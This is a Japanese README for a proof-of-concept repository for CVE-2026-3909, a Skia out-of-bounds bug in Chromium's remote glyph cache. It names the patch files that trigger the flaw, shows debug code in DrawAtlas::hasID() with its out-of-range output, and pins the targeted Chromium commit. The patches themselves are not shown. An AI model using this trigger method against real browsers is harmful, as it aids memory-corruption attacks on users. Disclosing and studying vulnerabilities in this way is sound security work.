このリポジトリには、Chromium ブラウザで確実にトリガーできる CVE-2026-3909 の概念実証（PoC）が含まれています。
この脆弱性に対する公式の Skia 修正には、簡略化されたデモンストレーション用テストケースのみが含まれていました：
これは実際の Chromium 環境では実行できません。公式デモは意図的に制限されており、主要なトリガー条件が省略されていました。
この PoC は公式デモに基づいて構築されており、実際の Chromium ブラウザ環境内で脆弱性を確実にトリガーできるように変更されています。
この PoC は、以下のファイルへの変更で構成されています：
raster_implementation.cc.patchパス: <Chromium ルートディレクトリ>/src/gpu/command_buffer/client/raster_implementation.cc
SkChromeRemoteGlyphCache.cpp.patchパス: <Chromium ルートディレクトリ>/src/third_party/skia/src/text/gpu/SkChromeRemoteGlyphCache.cpp
既存の2つのパッチファイルに加えて、DrawAtlas::hasID() 関数内にデバッグコードを追加することもできます。 これにより、アボートがトリガーされる理由を分析・観察できます。``` bool hasID(const skgpu::PlotLocator& plotLocator) { if (!plotLocator.isValid()) { return false; }
uint32_t plot = plotLocator.plotIndex();
uint32_t page = plotLocator.pageIndex();
// patch code
printf("[*] POC plot idx: %x fNumPlots: %x\n", plot, fNumPlots);
// origin code
uint64_t plotGeneration = fPages[page].fPlotArray[plot]->genID();
uint64_t locatorGeneration = plotLocator.genID();
return plot < fNumPlots && page < fNumActivePages && plotGeneration == locatorGeneration;
}
出力:```
[*] POC plot idx: 1f fNumPlots: 10
Chromium:``` commit e00a64ead1abef9447943efede7bc26362ac3797 (HEAD -> 146.0.7680.71, tag: 146.0.7680.71) Author: Roger McFarlane [email protected] Date: Mon Mar 9 12:52:01 2026 -0700
[M146-desktop-respin] Make LimitedLayerEntropyCostTracker time-aware.
This change modifies the LimitedLayerEntropyCostTracker to account for
the entropy cost of studies that are active at a specific evaluation
time. The evaluation time is passed to the tracker's constructor and is
used to check against the study's filter dates and Google web visibility
dates.
The current time for entropy evaluation is sourced from
VariationsIdsProvider.
